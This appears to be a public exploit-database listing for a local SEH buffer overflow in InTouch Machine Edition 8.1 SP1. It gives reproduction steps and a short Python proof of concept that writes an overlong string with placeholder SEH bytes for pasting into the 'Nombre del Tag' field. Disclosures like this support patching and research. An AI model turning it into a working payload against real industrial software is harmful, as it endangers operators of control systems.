Intouch machine edition 8.1 sp1 nombre del tag buffer overflow (seh) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-09-11 | Type : local | Platform : windows_x86-64

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# Exploit Title: InTouch Machine Edition 8.1 SP1 - 'Nombre del Tag' Buffer Overflow (SEH)
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-10
# Vendor Homepage: https://on.wonderware.com/
# Software Link: https://on.wonderware.com/intouch-machine-edition
# Tested Version: 8.1 SP1
# Vulnerability Type: Local Buffer Overflow (SEH Unicode)
# Tested on OS: Windows 10 Pro x64 en

# Steps to Produce the Local Buffer Overflow (SEH Unicode):
# 1.- Run python code: InTouch_Machine_Edition_8.1.py
# 2.- Open InTouch_Machine_Edition_8.1.txt and copy content to clipboard
# 3.- Open ITME v8.1 InTouch Machine Edition
# 4.- Inicio
# 5.- Paste ClipBoard on "Nombre del Tag"

#!/usr/bin/env python

nSEH = "\x42\x42"
SEH = "\x43\x43"

buffer = "\x41" * 1042 + nSEH + SEH
f = open ("InTouch_Machine_Edition_8.1.txt", "w")
f.write(buffer)
f.close()